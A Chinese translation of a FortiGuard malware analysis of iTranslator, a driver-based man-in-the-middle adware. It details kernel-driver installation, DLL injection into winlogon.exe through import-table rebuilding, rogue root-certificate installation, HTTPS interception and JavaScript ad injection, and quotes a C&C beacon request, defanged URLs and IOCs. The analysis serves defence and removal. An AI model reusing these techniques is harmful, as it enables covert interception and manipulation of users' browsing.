深入分析基於驅動的MITM惡意軟體:iTranslator
一、前言
FortiGuard實驗室研究團隊最近捕獲到一個惡意軟體樣本,這個EXE檔案帶有一個無效的證書籤名。一旦受害者開啟exe檔案,惡意軟體就會安裝兩個驅動,控制受害者的Windows系統,同時監控受害者使用瀏覽器的網際網路活動規律。
在本文中,我將詳細分析惡意軟體如何在受害者系統上安裝驅動、驅動的工作方式以及惡意軟體的具體功能。
二、執行惡意軟體樣本
本次捕獲的樣本檔名為 itranslator_02.exe
。在實際攻擊活動中,惡意軟體使用了多個不同的名稱,包括 itransppa.exe
、 itranslator20041_se.exe
、 Setup.exe
以及 itransVes.exe
。樣本檔案經過證書籤名,證書的過期時間為2015年5月16日。該證書由 VeriSign Class 3 Code Signing 2010 CA
頒發給 Beijing ******** Technology Ltd
(這裡我隱去了公司的名稱),序列號為 0A 00 5D 2E 2B CD 41 37 16 82 17 D8 C7 27 74 7C
。樣本的數字證書資訊如圖1所示:
圖1. 惡意軟體使用了已過期的證書
當 itranslator_02.exe
執行時,會在 program-data
目錄(在我的測試環境中,該目錄為 C:\ProgramData
)中建立名為 itranslator
的一個新目錄,然後將名為 wintrans.exe
的一個新檔案釋放到該目錄中。使用引數 P002
啟動 wintrans.exe
後, itranslator_02.exe
的任務就此完成。這裡使用的命令列字串為: C:\ProgramData\itranslator\wintrans.exe P002
,惡意軟體將 P002
作為 GUID
來使用,並在惡意攻擊活動中利用該值與C&C伺服器通訊。
三、安裝驅動元件
順利接管 itranslator_02.exe
的工作後, wintrans.exe
會下載其他惡意元件並安裝到受害者的Windows系統中,然後在受害者系統上安裝驅動,我們來看驅動安裝過程。
圖2. 建立驅動服務“iTranslatorSvc”
惡意軟體建立了一個執行緒來執行該操作:首先呼叫兩個Windows系統API來建立驅動服務,相關API為 OpenSCManagerA
以及 CreateServiceA
。驅動名為 iTranslatorSvc
,該名稱為 CreateServiceA
API的一個引數。
利用這種方式,惡意軟體呼叫 CreateServiceA
API為新的驅動服務建立一個新的登錄檔鍵值。該樣本建立的登錄檔鍵值為: HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
。
新建立驅動的啟動( Start
)型別最開始時會被惡意軟體設定為2(對應的就是 AUTO_START
),隨後再被修改為1(對應的是 SYSTEM_START
)。這樣每當系統啟動時都會啟用該驅動。我們通過IDA Pro分析了驅動的建立過程,如圖2所示。
接下來, wintrans.exe
會將名為 iTranslator
的一個檔案釋放到 Windows
目錄中(在我的測試環境中該目錄為 C:\Windows\
),該檔案已事先內嵌在 wintrans.exe
檔案的 BIN
資源區中。釋放檔案的虛擬碼如圖3所示。
圖3. 從資源區中提取iTranslator檔案
大家可能已經猜到, iTranslator
也是一個Windows驅動檔案,呼叫 CreateServiceA
時使用了該檔案的完整路徑以便建立 iTranslatorSvc
。
iTranslator
檔案經過VMProtect加殼保護,該檔案同樣帶有一個無效的證書籤名(證書已於2015年5月12日過期)。簽名方為 Nanjing ********* Technology Co.,Ltd
,序列號為 73 dc b1 a0 35 15 bb 63 9b f3 1e cd 5f 98 ff 24
。 iTranslator
檔案的屬性資訊如圖4所示,我們也使用PE工具分析了加殼資訊。
圖4. iTranslator
屬性及加殼資訊
隨後惡意軟體使用 P002
建立GUID值,並且使用受害者的硬體資訊生成十六進位制值來建立 MachineCode
鍵,這些值都儲存在 HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
這個子鍵中。登錄檔中的相關資料如圖5所示:
圖5. iTranslatorSvc登錄檔資訊
此後,惡意軟體繼續呼叫 StartServiceA
,立刻執行惡意驅動。為了向大家展示惡意驅動程式在受害者計算機上的執行過程,接下來我會以作業系統啟動為起點,從頭開始梳理整個過程,這也是載入驅動的正常方式。
四、下載其他元件
一旦安裝完畢,惡意軟體會在某個執行緒函式中嘗試下載一個DLL模組。相應的HTTP請求及響應資料如圖6所示:
圖6. 下載DLL檔案
在URI中, uid=
為機器程式碼, v=
為惡意軟體當前版本(這裡的版本為 1.0.0
), x=
為受害者的Windows架構(32位或者64位)。在頭部資料中, UID: P002
為惡意軟體的GUID。在響應報文中,惡意軟體會返回最新的版本資訊以及下載連結。在本文樣本中,最新的版本為 1.0.7
版,下載連結為 hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll
(然而在分析該惡意軟體的過程中,最新版本更新到了 1.0.8
版,下載連結也變為 hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll
)。
惡意軟體隨後會下載DLL檔案,將其儲存為同一個目錄(即 C:\ProgramData\itranslator\
)下的 wintrans.exe
。根據我的分析,下載的檔案 iTranslator.dll
可能是這款惡意軟體的主模組,其執行的部分任務列表如下:
1、提取並載入一個網路過濾器驅動;
2、與其他驅動交換資料;
3、在未經受害者許可的情況下,將SSL證書以可信根證書形式安裝到瀏覽器中;
4、監控受害者瀏覽器的網際網路訪問資料包。
有趣的是,下載的檔案並不僅僅是一個DLL檔案,而是一個檔案容器,其資源區中包含許多其他檔案,這些檔案隨後會釋放到受害者的本地目錄中。下載的 iTranslator.dll
可以在首次安裝時由 wintrans.exe
載入執行,也可以在Windows系統啟動時由 winlogon.exe
負責載入及執行,而後者由 iTranslatorSvc
驅動負責載入。我會在下文的驅動啟動部分詳細介紹這個過程。
惡意軟體同時也會在系統登錄檔的 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
路徑中記錄最新的版本資訊,其中 iVersion
代表最新版本號,本文成稿時該版本號為 1.0.8
。
五、通知攻擊者
wintrans.exe
的最後一個任務是將受害者的系統資訊傳送到攻擊者的伺服器,傳送的報文格式如下所示:
GET /in.php?type=is&ch=P002&mc=07********************93&os=Windows7(6.1)&t=1435127837&m=08****0****E HTTP/1.1 UID: P002 MC: 078********************3 User-Agent: ITRANSLATOR Host: tk.immereeako.info
URL中的 ch=
以及頭部中的 UID
為GUID P002
;URL中的 mc=
以及頭部中的 MC
為受害者系統的機器碼; os=
為受害者的作業系統版本; t=
為當前Windows的安裝日期,該資訊來自於系統登錄檔中,惡意軟體使用了Unix格式時間,即從1970年1月1日以來的秒數; m
為受害者的網路MAC地址。
我將原始報文中的敏感資訊以 *
號來代替,該報文用來通知攻擊者惡意軟體已在Windows系統上安裝完畢。
六、在Windows啟動過程中載入惡意驅動
Windows系統啟動過程中會載入 iTranslatorSvc
驅動,從現在開始我會詳細介紹惡意軟體的工作流程。
惡意驅動檔案路徑為 C:\Windows\iTranslator
,經過VMProtect v2.0.7加殼保護,存在多個匯出函式,如圖7所示。
圖7. iTranslatorSvc驅動的匯出函式
該驅動由 nt!IopLoadDriver
負責載入。當VMProtect加殼器的程式碼執行後,會還原出驅動的 DriverEntry
函式,我們可以進入該函式繼續分析。
驅動首先會從系統的登錄檔中讀取 GUID
以及 MachineCode
,將這些資訊儲存在全域性變數中,然後將 Start
值設定為1,即 SYSTEM_START
。接下來惡意軟體會為該驅動建立一個裝置物件 \\Device\\iTranslatorCtrl
以及一個符號連結 \\DosDevices\\iTranlatorCtrl
,這樣執行在ring 3的惡意軟體就可以通過 \\\\.\\iTranslatorCtrl
訪問驅動。隨後惡意驅動會設定一些dispatch(分發)函式,就像其他驅動一樣。在 IRP_MJ_DEVICE_CONTROL
分發函式中,驅動只會返回來自於全域性變數的 GUID
以及 MachineCode
值。
七、在系統執行緒中設定回撥函式
最後,惡意驅動會呼叫 nt!PsCreateSystemThread
API建立一個系統執行緒,執行緒函式同樣經過VMProtect加殼器的保護。受VMProtect保護的系統執行緒函式程式碼片段如圖8所示。惡意驅動中的所有API呼叫都通過這種方式經過加殼保護,如圖8所示:
圖8. 經過VMProtect加殼保護的程式碼片段
系統執行緒啟動時首先會從記憶體中釋放檔案,檔案的完整路徑為 C:\Windows\System32\iTranslator.dll
,然後呼叫 nt!PsSetLoadImageNotifyRoutine
API來設定映象載入回撥函式。MSDN對該API的描述為:“ PsSetLoadImageNotifyRoutine
例程用來註冊由驅動提供的一個回撥函式,以便當映象載入(或對映到記憶體中)時獲得相關通知”。這意味著每當映象(或者EXE檔案)開始載入時,映象就會被掛起,驅動中的回撥函式就會被另一個API(即 nt!PsCallImageNotifyRoutines
)所呼叫。此時, iTranslatorSvc
驅動就可以讀取映象的整個程序資訊,通過修改程序資訊來影響程序的執行流程。
讓我們回到驅動中的這個回撥函式上,分析該函式的具體功能。當該函式被呼叫時,會檢查程序名是否為 winlogon.exe
,如果滿足該條件,則驅動就會找到該程序的對映記憶體,然後在記憶體中重建 ofollow,noindex" target="_blank">Import Directory Table (IDT表),將惡意DLL C:\Windows\System32\iTranslator.dll
加到該表末尾處。IDT表中同樣包含該程序所需的某些模組資料(比如 Kernel32.dll
、 User32.dll
)。IDT表中每個模組的資料佔用14H個位元組。
重建的IDT表如圖9所示,惡意軟體需要修改匯入表(Import Table)表項在PE資料目錄表(Data Directory Table)中的偏移來重建IDT表。隨後,一旦 winlogon.exe
恢復執行,就會像載入其他正常DLL那樣載入這個惡意的DLL。
圖9. 重建IDT表
為什麼惡意軟體使用的是 winlogon.exe
?這是屬於Windows登入管理器的一個程序,可以處理登入及登出過程。如果該程序被終止,則使用者會從系統中登出。換句話說,除非Windows系統關閉,否則該程序將始終處於執行狀態。
惡意驅動還會繼續設定另一個映象載入回撥函式。根據我的分析,該函式用來檢查映象是否為特定的瀏覽器,如 iexplore.exe
、 firefox.exe
或者 chrome.exe
。如果匹配成功,驅動就會查詢相關的程序資訊塊,向其命令列中新增 hxxp://go.microsoft.com/?69157
引數。完成該操作後,當瀏覽器啟動時就會先訪問 hxxp://go.microsoft.com/?69157
這個網址。IE啟動時情況如圖10所示,其命令列末尾已附加了 hxxp://go.microsoft.com/?69157
這個URL。
圖10. IE使用 hxxp://go.microsoft.com/?69157
引數
實際上,受害者的瀏覽器並沒有真正訪問過該URL,該URL的作用更像是一個開關標誌。隨後,惡意軟體會提取並載入另一個驅動來監控受害者的網路活動,然後中斷請求,指向 hxxp://go.microsoft.com/?69157
,然後執行不同的任務。下文我們將分析這方面內容。
惡意驅動同樣會在系統執行緒函式中呼叫 nt! CmRegisterCallback
來設定登錄檔回撥函式,在驅動級別過濾登錄檔呼叫。根據我的分析,這個回撥函式對微軟Edge瀏覽器比較關注。
iTranslatorSvc
驅動同樣會保護系統登錄檔中相關路徑(即 HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
)的訪問許可權。當我們使用登錄檔編輯器訪問該路徑時,會看到一個錯誤提示訊息,如圖11所示。
圖11. 受驅動保護的iTranslatorSvc登錄檔項
八、當winlogon.exe恢復執行
前面我提到過,當 winlogon.exe
恢復執行時,會載入 C:\Windows\System32\iTranslator.dll
,該檔案來自於 iTranslatorSvc
驅動,整個過程如前文所述。 System32
目錄下的 iTranslator.dll
同樣經過VMProtect v.2.07加殼保護。
根據我的分析,該程式的主要目的是載入 C:\ProgramData\itranslator
目錄中的 itranslator.dll
模組(該檔案由前文提到過的 wintrans.exe
下載)。隨後,如果C&C伺服器上存在更新版本的 itranslator.dll
,則惡意軟體會嘗試更新,這與 wintrans.exe
的功能類似。到目前為止,該DLL檔案的最新版本為 1.0.8
。
惡意軟體的檔名可能會讓大家有點困惑,這裡存在兩個相似的檔名。一個來自於 iTranslatorSvc
驅動,路徑為 C:\Windows\System32\iTranslator.dll
,另一個從C&C伺服器下載,路徑為 C:\ProgramData\itranslator\itranslator.dll
。在下文中,為了區分這兩個檔案,我將 C:\Windows\System32\iTranslator.dll
標記為 extracted-iTranslator.dll
,將 C:\ProgramData\itranslator\itranslator.dll
標記為 downloaded-itranslator.dll
。
downloaded-itranslator.dll
為該惡意軟體的主模組,可以由 wintrans.exe
以及 winlogon.exe
載入執行。在 winlogon.exe
程序中, downloaded-itranslator.dll
會被手動載入到 0x10000000
這個記憶體位置。根據該檔案PE結構中的資料定義,該程序會矯正資料以便正常執行。最後,程序會呼叫 downloaded-itranslator.dll
的入口函式。至此 extracted-iTranslator.dll
的任務已圓滿完成。
九、啟動downloaded-itranslator.dll
惡意軟體首先通過 iTranslatorSvc
驅動獲取 GUID
以及 MachineCode
的值,並將其儲存到全域性變數中。在下一步中,惡意軟體會建立一個執行緒,從C&C伺服器獲取C&C伺服器URL的更新列表。通過這種方法,這款惡意軟體可以使用多個不同的C&C伺服器啦執行不同的任務。 hxxp://ask.excedese.xyz/
這個伺服器儲存了兩個C&C伺服器URL,對應的報文內容如圖12所示。
圖12. 更新C&C伺服器URL
響應報文中包含JSON格式的兩個新的URL,分別為 immereeako.info
以及 search.bulletiz.info
,這些地址會儲存到兩個全域性變數中,以便後續使用。
前面我提到過, downloaded-itranslator.dll
檔案其實是一個容器,其資源區中包含許多檔案,這些檔案會被釋放到本地不同的目錄中,這些檔案如下表所示:
此外,惡意軟體也會從記憶體中釋放出 C:\Windows\SSL\Sample CA 2.cer
這個檔案。
十、中間人攻擊
根據我的分析,釋放出來的所有檔案都用於在受害者系統上執行 中間人攻擊 。
iNetfilterSvc
檔案是另一個驅動程式,其名稱為 NetfilterSvc
,其實是 NetFilter SDK 這個商業專案的一個例項。該驅動是一個框架。用來透明過濾Windows系統中通過網路傳輸的資料包。釋放出來的 Sample CA 2.cer
是一個根證書,會以可信根證書頒發機構形式安裝到Firefox以及Windows系統中(針對IE和Chrome)。這對隱蔽執行中間人攻擊是非常有必要的一個操作。通過這種方法,受害者瀏覽器中用於SSL保護通訊的所有證書其實都由 Sample CA 2.cer
簽發,由於 Sample CA 2.cer
已經位於可信根證書頒發機構列表中,因此瀏覽器不會向用戶告警。
攻擊者會使用 C:\Windows\nss
中的所有檔案來控制Firefox瀏覽器。 C:\Windows\nss\certutil.exe
檔案用來將 Sample CA 2.cer
安裝到Firefox中。使用偵錯程式來分析 certutil.exe
時如圖13所示。
圖13. certutil.exe
安裝 Sample CA 2.cer
在圖14中,我們可以看到 Sample CA 2.cer
已安裝到Mozilla Firefox以及Microsoft IE的可信根證書頒發機構列表中。
圖14. Sample CA 2.cer安裝到Mozilla Firefox以及Microsoft IE中
downloaded-itranslator.dll
模組的主要功能是釋放 iNetfilterSvc
模組,執行該模組(順便提一句, C:\Windows\iNetfilterSvc
在載入後會被立刻刪除),安裝 Sample CA 2.cer
,然後與 iTranslatorSvc
及 NetfilterSvc
這兩個驅動通訊。通過這種方法,惡意軟體可以監控受害者在所有主流瀏覽器上的活動。
惡意軟體繼續建立 NetfilterSvc
驅動的一個驅動控制代碼( \\.\CtrlSMNetfilterSvc
),以便與該驅動交換資料,然後將相關協議註冊到 NetfilterSvc
,這樣當捕獲相關協議的資料時,驅動就可以呼叫回撥函式。大家可以訪問 Netfilter SDK 的官方網站,瞭解詳細資訊。從圖15中,我們可以看到惡意軟體註冊HTTP協議(80埠)以及HTTPS協議(443埠)的程式碼片段。
圖15. 註冊待過濾的協議到NetfilterSvc
圖16. 協議回撥函式程式碼片段
大家是否還記得,當受害者啟動IE時, iTranslatorSvc
中的映象載入回撥函式就會被呼叫,隨後就會將 hxxp://go.microsoft.com/?69157
附加到IE的命令列引數中。IE傳送HTTP請求報文,該報文會被 NetfilterSvc
驅動捕獲。與此同時, downloaded-itranslator.dll
中的協議回撥函式就會被呼叫。一個回撥函式的程式碼片段如圖16所示,惡意軟體會檢查所請求的URL是否為 hxxp://go.microsoft.com/?69157
,如果滿足該條件,則傳送一個通知報文到C&C伺服器,然後受害者已開啟瀏覽器。
使用Fiddler捕捉到的通知報文如圖17所示。請求的URL中包含 P002
以及 MachineCode
。C&C伺服器返回的資料中包含 Location: hxxps://www.google.com
資訊,該資訊最終會發送回IE,而IE會向受害者顯示Google網站。因此,受害者系統其實不會真正去訪問 hxxp://go.microsoft.com/?69157
這個URL。
圖17. 通知C&C伺服器瀏覽器已開啟
對於瀏覽器中的其他請求(包括HTTP以及HTTPS資料),惡意軟體可以通過中間人攻擊方法修改資料包的內容。惡意軟體會在每個響應資料包的末尾插入一小段JavaScript程式碼。這段JavaScript程式碼在早期流程中生成,包含C&C伺服器URL以及 MachineCode
。當瀏覽器收到響應資料時,就會執行已插入的JavaScript程式碼,執行更多惡意操作。到目前為止,這段JavaScript程式碼只會從C&C伺服器上下載其他JS檔案。被修改過的 hxxps://www.google.com
頁面原始碼如圖18所示,尾部包含已插入的JavaScript程式碼。
圖18. 插入google.com響應報文的JavaScript程式碼
大家可能會注意到,當JavaScript程式碼執行時,會從 hxxps://cdn.immereeako.info/pa.min.js
處下載一個指令碼並在受害者的瀏覽器中執行。
不幸的是,我的測試主機並沒有安裝微軟的Edge瀏覽器,但我認為惡意軟體的攻擊方法同樣適用於Edge瀏覽器。
十一、JavaScript程式碼分析
當受害者瀏覽器載入 hxxps://cdn.immereeako.info/pa.min.js
時,就會往C&C伺服器傳送一個HTTP請求,如下圖所示:
請求報文中包含 MachineCode
以及從受害者瀏覽器中收集到的一些資料(比如受害者正在訪問的當前URL地址,本次測試中該地址為 hxxps://www.facebook.com
)。
URL中的 pacb_jlcmurby4cp95
是一個帶有隨機名的回撥函式,該函式由 pa.min.js
負責生成。C&C伺服器端會在響應報文中用到該名稱。某個響應報文如下圖所示:
body中的紅色高亮部分為JavaScript程式碼,其中使用了物件引數來呼叫 pacb_jlcmurby4cp95
函式。在回撥函式中,指令碼會處理該引數,在當前頁面上新增滑鼠單擊事件(例如: hxxp://www.facebook.com
)。當滑鼠單擊事件在受害者當前訪問的頁面中觸發時,指令碼會建立一個新的標籤頁,然後訪問響應資料包中的URL(這裡的URL為 hxxp://www.onclickbright.com/jump/next.php?r=20*****&sub1=pa
,我用 *
號隱去了一些資訊)。根據我的研究,訪問該URL會讓受害者看到一個廣告頁面。受害者在Microsoft IE及Google Chrome瀏覽器中看到的廣告頁面如圖19所示。
圖19. 推送給受害者的多個廣告頁面
十二、感染流程
為了更好地理解這款惡意軟體的整體感染流程,我梳理了一個簡單的流程圖,如圖20所示。
圖20. 簡要版感染流程圖
十三、解決方案
FortiGuard反病毒服務已經公佈了檢測該樣本的特徵: W32/Itranslator.FE45!tr ,此外,FortiGuard Webfilter服務已經將相關URL標識為“ 惡意網站 ”。
如果想刪除這款惡意軟體,可以重啟主機並進入按全模式,然後執行如下操作:
1、刪除 %WINDIR%\iTranslator
檔案;
2、刪除 %WINDIR%\nss
以及 %WINDIR%\SSL
目錄;
3、刪除 %WINDIR%\system32\iTranslator.dll
檔案;
4、刪除 %ProgramData%\itranslator
目錄;
5、刪除 HKLM\SYSTEM\CurrentControlSet\services\iTranslatorSvc
登錄檔鍵值;
6、刪除 HKLM\SYSTEM\CurrentControlSet\services\NetfilterSvc
登錄檔鍵值;
7、刪除所有瀏覽器中的 Sample CA 2
證書。
十四、IOC/">IOC
URL
hxxp://s3.amazonaws.com/dl.itranslator.info/ hxxps://cdn.immereeako.info/pa.min.js hxxp://tk.immereeako.info/in.php hxxp://ask.excedese.xyz/i.php hxxp://gl.immereeako.info/files/upgrade/32/iTranslator.dll hxxp://dl.shalleeatt.info/ufiles/32x/iTranslator.dll
樣本SHA-256雜湊
itranslator_02.exe B73D436D7741F50D29764367CBECC4EE67412230FF0D66B7D1D0E4D26983824D wintrans.exe 67B45AE63C4E995D3B26FE7E61554AD1A1537EEEE09AAB9409D5894C74C87D03 iTranslator(驅動) E2BD952812DB5A6BBC330CC5C9438FC57637760066B9012FC06A8E591A1667F3 downloaded-itranslator.dll(1.0.7版) C4EDE5E84043AB1432319D74D7A0713225D276600220D0ED5AAEB0B4B7CE36CD downloaded-itranslator.dll(1.0.8版) 873825400FFF2B398ABF397F5A913A45FBD181654F20FBBE7665C239B7A2E8F5
十五、參考資料
NetFilter SDK: http://netfiltersdk.com/index.html
中間人攻擊: https://en.wikipedia.org/wiki/Man-in-the-middle_attack